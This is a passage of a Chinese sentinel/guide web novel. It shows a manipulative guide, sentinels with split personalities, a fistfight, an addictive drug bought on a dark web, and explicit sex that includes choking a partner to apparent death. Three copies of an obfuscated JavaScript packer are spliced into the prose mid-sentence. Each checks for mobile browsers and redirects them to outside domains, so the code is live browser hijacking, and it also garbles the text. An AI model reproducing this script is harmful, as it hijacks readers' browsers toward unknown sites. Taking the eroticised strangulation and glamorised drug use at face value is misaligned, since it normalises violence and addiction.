暗双瞪大双眼,瞳孔紧缩,舌头没能收回来,僵在嘴外像小蛇吐出的信子。他情不自禁地绷直了手臂,青筋迸出的拳头之下,奈苗纤细的脖颈被捏出几声响来,随后翻白了眼,他被这画面刺激得浑身颤抖,一种越发暴虐的攻击冲动涌上来,于是膝盖狠狠向上顶去,电击使得身子激烈地痉挛,视野一片纯白,耳里嗡嗡的响,许久过后,才找回自己心跳的声音。 什么都没开始,就这样结束了。 “你故意的! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14588071|153183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 暗双有些恼羞成怒,顾不得下面那片淋淋沥沥乱七八糟,捏着奈苗的脸晃了两下。却见她身子冰凉,软软地任他摆布,双眼轻阖,嘴角流下一道液体。 他心中一惊,这样刺激一个接着一个,心跳快得难受,“……喂,我知道你还活着。” 没有反应。 暗双摸她的左肋上方,一片安静,没有心跳。他又低下头,用脸蹭她的脖颈,刚刚被他用力捏过的地方一片淤青,除去最后过度来的一点电流外,再没有一点搏动。 “……真死了?” 他愣了下,心中升起一股剧烈的怪异感受,恐惧,兴奋,失落,意外,莫名其妙,还有他说不出的某种情感交织在一起,让他轻轻地亲住她的嘴唇,噙住那条发凉的舌尖,发狠地用舌钉磨她。如果她还有感觉,大约会觉得有些疼,但她不会再回应——至少,从发青的眼圈看起来,不会了。 他继续这场舌的独舞,一边紧紧地压着她的心脏,想要及时捕捉那里恢复跳动的动静,但先响起来的,是奈苗的手机。 他侧眼瞥过去,屏幕上显示着“安白”。他随手点了接通,继续全神贯注地亲吻。 电话那边的声音急得快要破音,几乎是喊出来的。 “奈苗,你怎么了?” 回应他的,却只有滋滋的水声。 “你在干什么?你还好吗?……回答我!快回答我……”起身拖开椅子的刺耳声音,“我现在就过去。” “有事吗?”暗双不耐烦地说道。 “……”那边急促地喘息了两声,“你是谁?你把她怎么了?” “我们在做/爱。” 一拳砸到桌子上的声音。“你敢碰她,我会杀了你。” “那你来杀吧,正好她给我陪葬。” 暗双挂了电话,正准备继续亲吻奈苗,却见她睁开眼,静静地看着自己,手下的心跳也缓慢地恢复过来。 “终于肯醒了?”暗双笑着,他牵着她的手摸向自己腰间的疤痕,狠狠咬住她的下唇,含着说道:“这招对我没用,我也有这个能力。” 奈苗深深地望着他。 ……陪葬。 这样狂妄又中二的词,并不是每个人都能说的出口的。 暗双的情况有些复杂,她原本准备通过心跳叫安白过来协助压制这个人格,但现在……计划有变。 16.检查 一阵发狠的撕咬后,奈苗推开暗双的肩,在他解开她半裙的空隙中说道:“你有没有什么想要的东西?” “想要?”暗双隔着裙子狠狠揉了一把,亲吻尸体让他再次恢复了感觉,眼里闪着兴奋的光:“想要你啊,就现在。” “我是说,比如,自由。” 暗双动作一顿。 “离开这里的自由,不用困在这具身体里的自由。”她摸向他腰间的伤痕,轻声道:“以及,麻痹痛感的……自由。” 暗双一时没说话,直直地盯着她。她牵着他乱摸的手走到峡谷。 “在这里,爆发素不好带进来吧。很疼,很压抑。我理解那种痛感——” “所以我和你一起享受了一次。” 海岸湿潮,涨潮过后一片狼藉。暗双方才想到,电流导回了礁石,致死的同时足以顶峰相见。他已经有点爱上这种感觉,而她特殊的体质,可以与他无数次重复这项游戏。 如果她愿意继续玩下去,那将是漫漫长夜里最好的消遣。 “你想说什么?” “给我地址,权限和折扣。我来买爆发素,每天带一部分给你。你不必再在晚上忍受痛苦,而且还能享受白天的阳光……怎么样?” 暗双惊奇地望着她,喉结滚动上下,感到一丝干渴,她的话似乎意有所指,直戳他最隐秘的身份与渴求。 “……什么意思?” 奈苗微微勾起唇角。 每天九点暗双准时驱赶所有向导的原因,就是第二人格。他只在夜间出现,痛苦也只由他承受,所以,才这样扭曲。 而叫出暗双第二人格的唤醒词恰巧也是爆发素。 “对你来说,搞到更便宜的爆发素很容易吧。委屈你在这具身体里了,只要使用更多的爆发素,你就能控制更久的时间,做更多的事情了,不是么?暗。” 暗双浑身一颤,手指勾进去,强力地搅动得更加混沌,他兴奋地瞪大了眼,凝望她面上细微的表情变化,些许享受,些许痛苦,以及和他一样的……极力压制的兴奋之意。那极微弱的瞳孔震颤,不止来自暗潮涌动,更来自于他们默契的共识——她发现了什么,而她从他的眼里确认了这一点。 她是他的同类。 敏锐而扭曲,享受控制与被控制,模糊生与死的界限,在痛苦中催发出某种顽强的意志。 汩汩水声中,他低声问道:“小猫,你会和我一起杀掉他吗?” 奈苗揪着自己的裙角,压住喉咙中的喘息,不错眼珠地盯着他,像是在思量。 “快答应我。”他加快了速度,望向她微张的嘴里,渴望同时听到低吟与承诺,“成为我的共犯。” “嗯……”她的应和变成一声轻喘,“我会治好他,让你有机会离开这间屋子,剩下的,就靠你自己了。如果你需要更多配合……” “——就给我更低价的爆发素。” “成交。” 指尖勾住,涨潮的欢庆下,约定达成。 砰—— 和顶峰同时到来的,是安白急匆匆砸开门的声音。 奈苗迅速起身,推开暗双,背对着门系上制服的扣子。不过两秒钟的时间,小屋的门被猛地推开,安白带着一路冲来的寒风和怒火,一拳砸向暗双,暗双敏捷地向一旁跳开,望着地板上的凹陷吹了声口哨。 安白顾不上和他纠缠,蹲下身去看奈苗的状态,先抬了她的脸左右看看,看到脖子上一圈淤青后,额头上青筋迸出,继续向下,又瞥见匆匆系上的歪掉的扣子,混乱的裙摆,地上隐约一片水迹,白色和透明参杂在一起。 他拳头握得直响,咬牙道:“还好吗?” “我没事。”奈苗推开他的手:“上尉,你怎么来了?” “他对你做了什么?” 暗双椅子倒坐,俯在椅背上,插嘴道:“我不是说了么,做.爱。” 安白一腿踢过去,将椅子踹得撞到书柜上,本就狭窄的小房间被三人挤的满满当当,站不开位置,现在一柜子书又散了一地,更加活动不开。 他踏着漫画书逼近暗双,拎着他的领子压到墙上,抬手就是一拳,暗双也不甘示弱地一肘拐上去,电光火石直接,两人为了击中对方都没躲,整整接下一击的同时将对方殴打出一大片淤青。 暗双侧头,呸地吐出一口血来,安白忍着五脏六腑撕裂的痛,一把手铐甩了上去,自动锁定了带着哨兵项圈的暗双,将他两手锁住。 “任务终止。暗双,你违反了白塔守则,现在将你的拘束等级提升到五……” “任务还没结束。”奈苗从身后按住他的肩膀:“这是白塔给我的任务,没有违规的情况下,只有我和他可以终止任务。” 安白没想到她居然会阻止自己,难以置信地瞪着她:“你在说什么?你们违反守则了!” “哪条?” “第、三、十、条。” 安白咬牙切齿,一字一顿。 “上尉,我没有违反。”奈苗说道:“你要检查下吗?” 安白想到如何“检查”,脸上一阵红一阵白,“你……” 暗双笑出了声,被安白一拳击中腹部,再次呕出血来。他虽然曾经是比安白更高级别的哨兵,但一整年缩在屋子里打游戏,身体机能已经退化,战斗技巧也忘掉了大半,此刻脸色苍白,嘴角坠着一条血痕,脸上阴森森地笑着,说道:“滥用私刑,我可以举报你。” 安白一愣,才想起来这不是普通的疗愈室,没有装监视器。如果奈苗没有用戒指录音的话,确实没有实在的证据证明他们违反了规则。 他指着地上那滩水迹,冷声道:“没违反,这是什么?” 又扯住奈苗凌乱的衣领,声音甚至颤抖起来:“这又是怎么回事?” 奈苗冷静道:“我们在玩水。” “……” “哈哈哈!”暗双笑得发癫,朝奈苗眨眨眼,笑道:“小猫,我好喜欢你啊!” 咚—— 又是一拳砸在脸上,暗双鼻子里也流出血来,眼眶一片乌黑,却还更猖狂地笑着,“你没得玩,嫉妒我也没用——” 咚、咚。 用了猛劲的两拳,暗双被打得头昏眼花,一时说不出话来,倒吸冷气,吸进嗓子的都是血,呛得一阵咳嗽。 安白将他摔到一旁,瞥了奈苗一眼,冷冷道:“想清楚再说话。” 奈苗已趁他们殴打的时候整理好了衣服,地上的水也用暗双的背心擦干了,丢一条抹布一样扔进漫画堆里。她淡淡地笑了笑,说道:“我想完成这个任务。我想要积分。” “……” 一阵令人窒息的沉默。 安白手臂上青筋暴起,显然在压抑即将喷涌而出的怒意。但他最终还是没有在这里将这股火发泄到她的身上,只是扭着她的脖子,像押着一个囚犯一般,粗暴地将她带出了暗双的疗愈室。 幸好这条走廊上人不多,这样的姿势没有被其他士兵看到。 他们沉默地走到了安白预订的训练室里,灯亮着。看来安白之前就已经在这里等她了。 他用力地一撒手,奈苗差点被那股力气惯到地上。她踉跄了两步,扶住镜子,听到他冰冷的声音。 “我对你很失望。” 她从镜子里看到安白阴沉得可怕的脸。他离她很近,只有一小步的距离,一伸手就能从后方掐住她的腰,宽大的肩膀将她的身子完全笼罩进去,因激动而胀大的肌肉被制服裹住,显得紧绷,胸口一排扣子随着他深沉的呼吸而起伏。 看起来随时会爆发的样子。 他这样闭上嘴,不再啰啰嗦嗦说一堆废话的时候,和他极具压迫感的叔叔倒有几分相似之处,光是站在身后,就让奈苗的后背竖起寒毛——那种猎物被狩猎者盯上的毛骨悚然之感。 大概是想到恩斯的缘故,奈苗感到自己的心跳快了一点。 她对着镜子缕动被汗水黏在脸上的发丝,顺到耳后,粉色的蝴蝶结闪进安白的视线,看的他心脏一阵疼痛。他给了她防身的礼物,在她心跳异常时急得赶过去,结果她却站在那该死的哨兵一边。 还该死地发生了一些事情。 奈苗慢条斯理地整理好头发,才轻声问道:“你还会帮我通过考核吗?” 安白没说话。 很好。奈苗心道,即使如此,他也不肯放弃她。 他的底线比她预期的更低一些。 而底线这东西,是可以通过一些手段变得更低的。 奈苗垂下眼,像是有些难过的样子,声音低低的颤抖。 “上尉,我太想留在白塔里了。” “那也不能用这种手段!”安白愤怒地吼道,他见奈苗被这声惊得一个哆嗦,心里更加难受起来。 “我们确实什么也没做,只是疗愈的时候发生了一点小意外……” 小意外。安白冷笑,这种说辞和玩水一样可笑,正想嘲讽两句,却见奈苗撩起了裙子下摆,露出了有过明显水痕的黑色蕾丝底裤,一小湾甜牛奶的边沿,以及衬衣下面一小截白皙的腰。 “如果你实在不相信,就亲自确认一下吧。” ……亲自? 亲自确认。 安白瞪大了双眼,身子僵硬的一动不能动,甚至怀疑自己听错了话,但眼前的一幕这样定格,明晃晃地告诉他这不是他的虚妄幻想,她当真主动掀起了裙摆,发起名为检查的邀请。 他想要唾骂这种行为,想要大声喝令她停止这不堪的动作,想要狠狠呵斥她,狠狠地责骂她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612115|153183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、再顺着这股狠劲…… 进.入.她。 这一连串的冲动涌入大脑,安白被自己吓呆了。 这当然不行。 如果这样做了,违反第三十条规则的就是安白了。 就算他真的用手探进去,又能检查出来什么?只是会被她抓住把柄,被她视作和暗双一样的人罢了,他不会再有责备她的立场,因为他变成了和他们一样不堪的人。 他的理智疯狂劝说,但眼神却无法从她的身体上离开。他人的身体对他来说从来不是一个诱惑的选择,他从来没有为这样龌龊的事情动摇过——本该这样的! 可她攻击型的精神体太美味,可那杯牛奶黑沿白底的弧度弯翘的让人心颤。如果按照她要求的,进行身为上级理所当然、彻彻底底地的深查,再引诱她用那只巨大黑猫精神体进入他的精神世界里,精神屏障碎裂的疼痛与彻查的喜悦交织在一起。如果这样,这场精神疗愈会就像苦咖啡融进甜牛奶一样适配而醇美。 他在某种干渴的欲求驱使下抬起手,扶住甜牛奶杯壁的边缘,牛奶温热,被摇晃的颤抖,一阵翻动的波澜,看起来甜美清醇,杯沿被蕾丝点缀的美感引来十足潮流。 安白一下子清醒过来,脑子里嗡嗡地响,只想着一件事:他们玩过了。不管是何种形式,他们的确玩过一些出格的游戏了。 他听到自己干涩的声音说道:“你就是这样勾.引他的?” 重音落在那个充满责辱之意的词上。他是有意为之,想从镜子里看到她羞赧的反应。 但奈苗的语气仍是淡淡的,就像在讨论今晚的天气,平静地驳回。 “上尉,这个词很难听。” 难听?可是她先做了难看的事!她辜负了她的担忧和期待,现在还在这样若无其事反抗他的责备。 安白越发愤怒了,觉得她在狡辩。“你根本没在反省!” 啪! 他反应过来之前,依然先拍出泄愤的一掌。他知道自己决不能做出“检查”,但这一幕又极大地刺激着神经,于是向那击中了他欲求的地方破坏和攻击便成了本能。而且他还有一个绝佳的借口:这不是违规,这是……责罚。 奈苗似乎也没想到他会这样做,面上出现了一瞬的呆滞。身后火辣辣地痛,还有些尴尬。她松开了手,避免安白打来第二掌。 “……还生气吗?” 声音委屈,像是埋怨他真用出了力气。 可这和平常淡然不同的反应只会让安白的火燃的更猛。刚才吸引他全部注意力的地方重新被裙子盖住了,整齐的排扣对着他,却没能让他冷静下来,反而觉得更晕了,他清楚地知道,这庄严正式的白塔制服下面有着什么。 可晕眩之中,也有个声音在心中诘问他: 她为什么这么问? 她为什么能这样熟练而不知羞耻地做出这样的举动,但却只是问他是否生气,就好像她身体受损的可能性,只是用来让他消火的一个手段。 她好像这样做过很多次了。不管是对他,对暗双,还是对之前的哨兵…… 安白忽然想起来,她之前是在低级的蓝塔里工作的,而近期每两个月就换一份工作,在哨向中,属于变动特别频繁的。 她在那些地方遇到什么事情了吗? 她是只能用这样的手段处理特殊事件,所以才习惯于此吗? 关于她的过去,他没能查出什么来。一个普通的E级向导,频繁的工作经历,她所说的创伤事件,自然也是没查到,那一定是一个很痛苦的事情,但甚至不值得被记载。 安白忽然觉得心里一阵疼痛,从未经历过的怜惜之情盖过一切,让他短暂地从裙摆上移开了目光。 他在镜中与她对视,看到彼此眼中的涌动的情绪,奈苗那张清秀的脸上是复杂的、难以言喻的表情,和万分之一的羞耻、尴尬、局促…… 以及不安。 安白抬起手,她下意识地向前一躲,这样的反应让他整个心都揪了起来。他做了什么?他这样和暗双又有什么区别? 他双手软下来,从两侧拢住她的腰,自身后抱住了她。 “ 不许再这样做了。”安白咬牙道:“……这是命令。” 他金黄色的发丝垂到她的肩上,被她用手轻轻缕起来,她的肩背嵌近他的胸膛,紧紧地贴住,像是被一只温暖的长毛大狗缠上,虽然狗也会咬人,但大多数时候也会听主人的话——只是需要一点小小的伎俩罢了。 奈苗看向落地窗外那轮圆月。已经到了深夜,她的伤口开始痛了。今天她已经得到了需要的东西,安白也被驯服的听她的操控。是时候结束这一天了。 她侧过头时,就好像在亲吻他的发丝,温温柔柔,乖顺地说道:“好,我听你的。” 17.向往 后面短暂的训练时间里,安白又教了她一些疗愈与格斗技巧,还着重强调了戒指配件电流的用法——他大概没想到,她已经用过了,还用在了十分刁钻的地方。 奈苗回到寝室时,夜已经深了。她轻轻推开门,防止吵到室友,哪知客厅亮着灯,鲤诺正坐在沙发上,一见她进门就盯上她,似乎有话要说。 鲤诺的状态比之前更差了,黑眼圈浓重,几天都没有睡好的样子,虽然静坐在那里,但每隔一会都会猛然一抖,离了老远都能闻到她身上的叶子味,看来是一股劲服用了不少药物。 奈苗走到她身旁,瞥过桌上堆叠的小药瓶,那里空空如也,爆发素已经用尽。 “有事找我?” “原辰接受疗愈,但指定要你做。”鲤诺低声道:“你去做任务,我给你一半的提成。” “没钱买药了?” 鲤诺哼了一声,不置可否,“你就说接不接吧,对新人来说他是很好的任务。” 自然,解决原辰这样难搞的哨兵能得到很多积分,但奈苗已经找到更好的摇钱树了,没兴趣把时间花在一个没有更多油水的任务身上。 “我拒绝。” 鲤诺一愣,没想到她当时抢着要做这任务,短短一天后却会放弃,她几次欲言又止,最后还是恼怒地站起身,烦道:“随便你。” 说罢,回了自己的房间,重重摔上门。 奈苗拾起一个空药瓶,凑近闻了两下,那股气息清新而让人上瘾。瓶子上面没有任何说明,纯粹的违禁品——就算有人往这里药里掺了些什么,也不会被服药人发现。 她若有所思地看了一会,打开手机。游戏里,暗双的账号发来两条信息,一条是乱码,另一条是解密教学的网址。 没有单独加过联系方式的哨向不能在系统里直接联络彼此,所以他只能通过这种方式来告知她暗网地址。 这个解密方法十分简单,奈苗很快将乱码翻译过来,除了暗网地址外,还附一个账号密码。登录过后,个人信息的等级显示“权限6级”。 暗网上售卖着各式各样的高额违禁品,枪械,药物,爆发素,甚至还有器官。买卖双方的地址多次加密,无法追踪彼此的位置。想要购买更高级别的物品,需要做暗网任务提升权限等级,包括违禁品配送,替上前线,甚至杀人。 她的账号是6级,省去了做任务刷权限的时间,并且还有着系统发放的特殊折扣——所有品类八折。 算是暗双对她提出的配合要求的报酬。 奈苗满意地笑起来,计算着自己能买下多少爆发素。现有的钱可以买五瓶,之后持续给暗双治疗,就能每天续上一两瓶。这样算下来,这个任务做的太值了,不仅得到了大量的钱,还收获了暗网地址和折扣,省去提升权限的时间。此外,如果以后需要,还可以将暗网作为把柄,从暗双身上获取更多资源。 午夜十二点。奈苗草草敷衍了艾尔的消息,继续在暗网上搜索爆发素相关的信息:有很多人发帖提倡大家不要继续服用,因为虽然这药可以快速提升精神力等级、外伤止痛,但同时也会让人上瘾,甚至会修改精神体结构,哨兵会变成堕落哨兵,向导则会失去对自己精神体的控制能力,变成不能疗愈的普通人。 这样的帖子不在少数,下面也都有很多人附和,表示自己已经上瘾,十分痛苦。可即使如此,帖子相关联的购买页中,却显示了十分高的购买总数。没人能戒掉这东西,他们只能一边痛骂,一边继续买继续吃。 窗外一阵窸窣,有个黑影蹑手蹑脚地走到附近,在走廊拐角的指定地点放了一盒包裹,又迅速转身跑掉。 做配送任务的人来了。 奈苗看着那人奔跑的背影,黑帽子下露出一小撮蜷曲的金色发丝。她见过这样美丽的颜色打上阳光的样子,就在下午。 包裹里是五个白色小药瓶,还附赠了一个去除药味的喷雾。奈苗服用了一粒,又将一粒磨成粉,敷在身上的伤口。只过了半个小时,伤痕处一片清爽之感,阵阵舒适,再没有一丝疼痛。 这晚,奈苗睡得很好。 次日醒来时,系统已经自动分配了白天的任务:十五个哨兵的清理工作,比昨天的工作量还大。 奈苗却没觉得烦躁,她从床上弹起来,感到身上充满了力气,精神无比集中。这两天也从安白那里学到了使用疗愈型精神体的技巧,她只稍微将意志集在胸口,一只小腿高的黑猫就奔跑出来。 仅仅一粒爆发素,就能让精神体扩大两倍,也怪不得那些服用过的人没法停下了。 奈苗甚至想着把剩下的药都吃下,尽快提升等级去向五层。不过,也只能这样想想。这毕竟是违禁品,虽然许多人都私下里服用,但决不能让人抓到,一旦被举报,很可能被白塔进行重新评估,有价值的去前线做苦力,没价值的直接开除。 最需要的东西已经得到了,接下来只要小心谨慎,一步步向上爬就好。至于繁重的工作量,缠人哨兵的拉扯,爆发素的副作用…… 她都不在意。 这次的清理同样持续到下午,奈苗又没吃上午饭。虽然精神力有所提升,但增加了一半的工作还是将她压榨的精疲力尽。她随便买了咖啡和面包,向昨天找到的放风好去处走去。 莓拉依然坐在树下,朝着落地窗外发呆,眼神迷茫呆滞。她听到脚步声,回过头来,毫不意外的样子,招呼道:“奈苗。” 奈苗将没开封的咖啡递过去:“新品,尝尝?” 这次莓拉接了过来,对她微微笑了笑。 “谢谢你,明天我请你喝吧。” 这样说,就算是成了朋友。 “好呀。”奈苗咬了口面包,随口问道:“你昨天睡那么晚,今天还有这么多工作,累不累?” 莓拉疑惑地看着她,并不明白她为何会知道自己入睡的时间。“我昨天……”她顿了顿,忽然瞪大眼睛,惊诧道:“是你?” “是我。” 虽然都没明说,但这样的提问和回答已经说明了一切。 莓拉难以置信地摇摇头,“和你说了不要……”她叹了口气,蜷缩起身子,将头埋进膝盖,“算了。” “你不也在做任务。”奈苗用肩膀碰碰她,“你也在吃。” “我没有!我做任务是……” “为了鲤诺?”奈苗打断她。 “……” “她没钱买药了,所以你要提高等级帮她买。是吗?” “……” 沉默就是最直白的承认。 “你不希望她继续吃吧,为什么要给她买?” “我不希望她变得更糟,但也不想看她受苦……”莓拉眼圈红起来,声音带了些许哭腔,“我真希望她从来没碰过爆发素。” 奈苗忽然问道:“她现在的样子,是该怪爆发素,还是该怪白塔呢?” 莓拉没想到这个问题,愣了一愣:“……都怪。” 她沉默了会,又问:“你觉得呢?” “我觉得……” 奈苗抬起头望向远处,玻璃幕墙透出的阳光穿过高大的树枝,树影斑驳摇曳,光洁的地面上映照出她们两人紧密相贴的身影。这是她在蓝塔里看不到的景色,但享受这样的静谧与安详,却需要持续地付出艰苦代价,一刻也不能停歇。 “怪她是个众星捧月的天才,命中注定来到最好的塔里。她无法回到过去,必须不顾一切地往上爬。” 就算没有爆发素,也会有别的东西过度消耗她的身体和意志。就算没有白塔,也同样会有一个和白塔一样的地方吸引她来。 奈苗没有解释,莓拉却点了点头。她也在白塔里待了不少时间,这些事情,她都明白。“……那你呢?”她眼里闪着泪水反射的光:“你也会和她变得一样吗?” “我觉得不会,可未来的事说的准呢。”奈苗轻笑道:“但只要我能去最高层,经历什么我都不害怕。” “你去那里做什么?” “我的老师在那里。” “老师?” “是的。”奈苗的笑容变得真挚,莓拉贴着她的手臂,感受到脉搏激烈地跳动,听她痴迷的语气说道:“他是我的老师,我的父亲,我的母亲,我的挚友,我出生的原因,我活着的意义,我的……” 莓拉惊恐地看着她,这串话就像疯子的呓语,但她说的那么认真,笑得那么澄澈。更恐怖的是,她张开的嘴型中似乎要吐出一个不该出现在老师、父亲以及母亲后面的禁忌之词了。 “我的……向往。” 奈苗说道。伴随着一声轻轻地叹气,眼神又冷下来,带着一丝莓拉十分陌生的哀怨之意。 莓拉松了口气,为没有听到那个词而庆幸,但仍觉得怪异。她虽然和奈苗没认识多久,却一直看到她游刃有余的平静模样,从未见过她有什么负面的感情。可那个人是不一样的,仅仅是提到,奈苗就已经被牵动全部的心弦,她向往着,热烈地爱着,但同时也怨着,恨着。 莓拉问道:“如果他在最高层,你为什么不直接让他来见你呢?” “他不方便见我,所以,我就来找他了。”奈苗将最后一口面包吃完,站起身来,微笑道:“我先去工作啦,如果你需要什么帮助,随时来找我。” 莓拉对着她离去的背影呆愣了半晌,耳边反复响着她说的那段话。能让奈苗如此沉迷是,会是一个怎样的人?她痴痴地想了会,发现在她心中竟然没有一个能配得上奈苗的爱,毕竟奈苗如此坚定,如此温柔,又如此的…… 迷人。 她已经开始期待明天下午的偶遇了。 …… 奈苗做了一些填表、记录的文书工作,又用掉了整整一个小时。庞大的高级塔里,总是会有一堆冗余又复杂的流程问题,对此她早有预期。结束白天的工作后,她拿起手机,除去艾尔发来的日常闲聊外,还看到了之前向她售卖账号的莲发来的一条消息。 莲:游戏好玩么? 奈苗有些疑惑。他已经对这游戏没有兴趣了,为什么还会对她追问? 口苗:还可以 莲:你用我的号是为了和他玩游戏吗? “……” 莲只是暗双的网友而已,之前问到他们的关系时,莲也承认了这一点。他本不应该这样在意。 奈苗登上游戏,发现有一串异地登录的记录。 应该就是莲了。 口苗:你想念他了? 莲:我只是随便问问。 再之后,莲不再回复,似乎已经下线了。 奈苗心里觉得怪异,但这怪异又不值得她深究。这个账号只是为了和暗双建立联系,现在她已经得到所有需要的东西,游戏账号已经不重要了。 她切回好友界面,看到暗双在这里发来的一连串消息。 霜面:对不起 霜面:对不起 霜面:对不起 霜面:对不起 …… “……” 整整五六十条对不起,像是网卡了一样。奈苗一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14617593|153183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直向上滑,发现他从早上八九点钟就开始发送了,最开始是一些长篇大论的解释,说昨晚他不知为何失去了意识,问她是否经历了不好的事情。见她没回复,就开始变着花样道歉,说了整整一整天,到后面可能心态崩塌,就只机械地发着对不起。 看来,暗双的第二人格将之前的暗网地址记录删掉了。而他的第一人格知道里人格出现过,却不知道发生了什么。 奈苗思考了会,字斟句酌地敲出一行字。 莲:如果治好你,他是不是就不会再出现了? 发出的瞬间,对面立刻回复。 霜面:应该会的,他不会再出现了 霜面:我不会让他再出现了 霜面:对不起,我是不是做了不好的事,你让我怎么弥补都可以 霜面:对不起 霜面:对不起,今天希望你还能来… 霜面:我真的想见你 半分钟后。 莲:我也想见你 莲:我还想治好你 莲:这样在白天,我们也可以有很多时间见面了 暗双不会愿意的。 奈苗心里清楚,他在那小房间里待了整整一年,一旦疗愈好,就需要出来重新应对哨兵的身份,从鬼游戏的时间线来看,他的第二人格就出现在他前线受伤的那段时间,大概率经历了创伤事件,说不定就是他身上疤痕的原因。如果这样的话,这绝非什么一转念就能克服的小难题,而是一个需要颠覆全部自我的、无比艰难的决定。 对面停了整整一分钟,才回复。 霜面:那就治好我吧 奈苗笑起来。 是很艰难的决定,但他愿意为了她而面对恐怖的现实。 奈苗将疗愈时间提前到六点。她不想浪费时间吃晚饭了,只想争分夺秒地从暗双身上赚取积分——最难攻克的心防已经解除,之后不需要再耗费时间与他打游戏、培养感情,只要纯粹的疗愈就好。 快些拿到更多的钱,买更多的爆发素。 上到最高层,找她的向往。 奈苗加快速度,步伐轻盈,心情愉悦,心里想着,今天的疗愈目标就定在20%好了,必要时也可以使出深度结合的手段,用肉.体的交合促进精神的疗愈—— 她刷过卡,推开小屋的门,正要摆出一个温柔的笑,却见两双视线齐齐转过来。 暗双缩在床的角落,手上还套着手铐,安白坐在转椅上,抱肩看向她。 奈苗的笑容有一瞬间的僵硬。 安白怎么也在? 他应该很忙才对,怎么有时间来盯她的任务。 如果他在,自然不能使用深度结合的手段,虽然她精神力有所长进,但在不过多接触的情况下,最多也就能疗愈10%,比她预想中的进度慢了一半。 两个对彼此抱有强烈敌意的S级哨兵呆在这么小的房间里,有意无意地散发精神力。屋里气压低的可怕,光是站在门口,奈苗都觉得一阵窒息。 他们的精神体都已经走出体外,无声对抗着。金毛昂着头,气势汹汹,膨胀到一人多高的程度,占据了大半张床,不时朝暗双发出一阵威胁的低吼。暗双则捧着昨晚被安白踩烂的漫画书埋头苦读,书沿上方露出一双白亮的眼睛,朝奈苗快速地飞眨,睫毛如蝴蝶一般可怜兮兮地轻颤,像是在求救。浑身是伤的小蛇在他头顶团成一圈,被安白的精神力压迫得瑟瑟发抖,血流不止。 安白率先打破了僵局:“我向白塔申请了资格,这项疗愈任务由我全程指导。” “全程?”奈苗眉心抽动,“上尉,这是长期任务,需要耗费很多时间。” “我都安排好了,这也是教学的一部分。”安白语气生硬:“开始吧,让我看看你们是怎么玩水的。” 看来他还是对昨天的事情耿耿于怀。 暗双疑惑地在他们两人间瞥来瞥去。他不知道“玩水”是指什么,也不知道为什么这个莫名其妙的哨兵可以闯入他的小房间,还这样针对他。 奈苗走上前去,仔细看过暗双的脸,太阳穴右侧有一口新伤。 他们应该又打过一架了,但暗双的里人格还没出现,现在还是那个不愿与人接触说话的自闭少年,被殴打了也没有反抗。他明明什么也不知道,却被安白视作假想敌,胳膊上的绷带多缠了很多圈,好像一层没什么用的铠甲,上面有几道抓痕,他不能做出更大的动作,于是就麻木地抓挠自己的身体。他手中拿着心爱的漫画书,书里承载了少年冒险的梦想,但昨晚被无情践踏,鞋印仍旧印在上面,书角翻折,正如同他瑟缩的模样。 奈苗不免觉得他有些可怜了。虽然她需要利用他,但也没有必要对他如此残忍。 她轻轻抚向少年的发顶,白色发丝从掌边翘起,小蛇顺着她的胳膊缠上去,讨好地向她敞开精神世界,以供她随时进入。 奈苗的猫冒出头,伸出舌头舔小蛇的信子,身上疗愈的气息让小蛇放松了不少。两只大小差不多的小动物不带任何侵略与攻击性地倚靠在一起,向彼此敞开完全的信任,十分温情。 “暗双,我会治好你。” 她柔和的话语中,暗双抬起头来,胆怯的目光与她对上后忽然有了勇气,不再躲闪。他搞不懂自己为何要经历一场莫名的暴力,但他现在明白,奈苗来救他了。 他们两人越靠越近,含情脉脉地相互对视。安白在背后重重地咳了一声,伸手勾住奈苗的衣领,向后拉开一段距离。 “操作不规范,离远点,重来。” 18.妒嫉 接下来的一小时内,安白整整叫停了三次。只要奈苗和暗双身体接触超过一只手,他就会冷嘲热讽地说上两句。这样的干扰下,进度比奈苗预想中最差的情况还要慢。 “上尉,这样不方便疗愈。” “你不是找到诀窍了么,一晚上精神体就变大了不少。”安白瞥她那只变大一倍的小猫:“保持距离,继续领悟。” 奈苗无奈地转过头,看到他意味深长的眼神。 这话中似乎有很多层意思。 暗双一直不说话,缩成一团时,身体显得单薄瘦弱,低头时轻颤的白色羽睫和苍白无血色的皮肤又让他像个易碎的瓷娃娃。安白则扬着下巴,精神焕发,一身满满的都是要和暗双对抗到底的斗志。 一边是决定她去留的上司,一边是快速赚积分的摇钱树,奈苗并不想刻意站在某一边,但这样的对比下,心理上不自觉地与弱势的那方更近了些。 